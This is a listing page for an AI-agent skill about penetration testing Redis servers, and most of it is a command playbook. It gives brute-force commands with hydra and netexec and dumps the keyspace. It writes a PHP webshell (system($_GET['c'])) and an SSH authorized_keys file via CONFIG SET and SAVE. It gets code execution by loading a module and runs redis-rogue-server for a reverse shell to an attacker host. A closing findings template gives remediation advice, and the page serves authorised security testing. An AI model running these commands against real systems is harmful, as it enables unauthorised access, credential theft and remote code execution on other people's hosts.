Pentesting redis

From xalgord/xalgorix · View interactive version

Pentesting redis is an AI agent skill from the GitHub repository xalgord/xalgorix. Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs,

How to use this skill

Skill file

Pentesting Redis (port 6379)

When to Use

Quick Enumeration

nmap --script redis-info -sV -p6379 <IP>
msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit'

# Connect (text protocol)
nc -vn <IP> 6379
redis-cli -h <IP>            # apt-get install redis-tools
redis-cli -h <IP> info       # full instance info

Critical: Checks Most Often Missed

Workflow

Step 1: Enumerate

redis-cli -h <IP> info
redis-cli -h <IP> CONFIG GET '*'       # full config incl. dir, requirepass
redis-cli -h <IP> CONFIG GET dir       # run FIRST — exploits can change it
redis-cli -h <IP> INFO keyspace        # which databases (0..N) hold data

Step 2: Authenticate (anonymous, AUTH, brute force)

redis-cli -h <IP>                      # try unauthenticated first
redis-cli -h <IP> -a <password> info   # password only (user = default)
# Inside a session if NOAUTH:
#   AUTH <username> <password>          -> +OK means valid
nmap --script redis-brute -p6379 <IP>
hydra -P passwords.txt redis://<IP>
nxc redis <IP> -u '' -p passwords.txt

Step 3: Exploit / Extract (dump keys + RCE primitive)

# Dump the keyspace
redis-cli -h <IP> -n 1                 # select db 1
#   SELECT 1 ; KEYS * ; TYPE <key> ; GET <key> ; LRANGE <key> 0 -1 ; HGETALL <key> ; DUMP <key>
# Webshell write
redis-cli -h <IP>
> config set dir /usr/share/nginx/html
> config set dbfilename redis.php
> set test "<?php phpinfo(); ?>"
> save
# SSH key write
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h <IP> -x set ssh_key
redis-cli -h <IP> config set dir /var/lib/redis/.ssh
redis-cli -h <IP> config set dbfilename "authorized_keys"
redis-cli -h <IP> save
ssh -i ~/.ssh/id_rsa redis@<IP>
# Module load RCE
redis-cli -h <IP> MODULE LOAD /tmp/module.so
redis-cli -h <IP> MODULE LIST
redis-cli -h <IP> system.exec "id"
# Automated interactive/reverse shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <IP> --lhost <ATTACKER>

Step 4: Post-access / privilege escalation / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| Unauthenticated default | Redis accepts commands with no credentials unless requirepass/ACL configured. |

| CONFIG SET dir + dbfilename + SAVE | Repoint the RDB dump to any writable path to drop webshells, keys, or cron jobs. |

| MODULE LOAD | Loads a native .so exposing system.exec/system.rev for command execution. |

| slaveof / replicaof | Makes the target a replica of an attacker master, enabling payload push. |

| Lua scripting (EVAL) | Sandboxed Lua; sandbox-escape CVEs yield RCE on unpatched versions. |

| rename-command | Server-side renaming/removal of commands; may block CONFIG/FLUSH. |

| Keyspace / databases | Numbered DBs (0..N); SELECT n then KEYS * to dump. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| redis-cli / nc | Native client and raw socket interaction with the text protocol. |

| nmap NSE | redis-info (instance details), redis-brute (credential brute). |

| Metasploit | scanner/redis/redis_server, redis/redis_login, redis/file_upload. |

| netexec (nxc) | nxc redis <IP> ... for auth checks/spraying. |

| redis-rogue-server | Automated module-load RCE / reverse shell (Redis <= 5.0.5). |

| RedisModules-ExecuteCommand | Compile the .so module exposing system.exec. |

| redis-dump / redis-utils | Bulk export of the keyspace (npm / python). |

Common Scenarios

Scenario 1: Unauth access → data theft

redis-cli -h <IP> info works with no password. SELECT 1; KEYS *; GET <key> dumps session tokens and cached credentials, immediately reusable elsewhere.

Scenario 2: Unauth → webshell RCE

Redis is unauthenticated and a web root is writable. config set dir /var/www/html; config set dbfilename x.php; set p "<?php system($_GET['c']);?>"; save lands a shell; x.php?c=id returns www-data.

Scenario 3: Unauth → SSH foothold

The redis user's home is writable. The tester writes their public key to /var/lib/redis/.ssh/authorized_keys via CONFIG+SAVE and logs in over SSH as redis.

Output Format

## Redis Finding

**Service**: Redis
**Port**: 6379/tcp (Redis 4.0.9)
**Severity**: Critical
**Finding**: Unauthenticated Redis allowing webshell write (RCE)
**Evidence**:
  - `redis-cli -h <IP> info` returned server stats with no AUTH
  - config set dir /var/www/html; set p "<?php ...?>"; save -> file written
  - http://<IP>/p.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated access to all cached data plus remote code execution on the host.
**Recommendation**:
  1. Enable authentication (`requirepass` / ACL users) with a strong password.
  2. Bind to localhost or restrict 6379 by firewall; enable protected-mode.
  3. Disable/rename dangerous commands (CONFIG, MODULE, SLAVEOF, FLUSHALL) via rename-command.
  4. Run redis as an unprivileged user; patch to a current release to fix Lua RCE CVEs.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.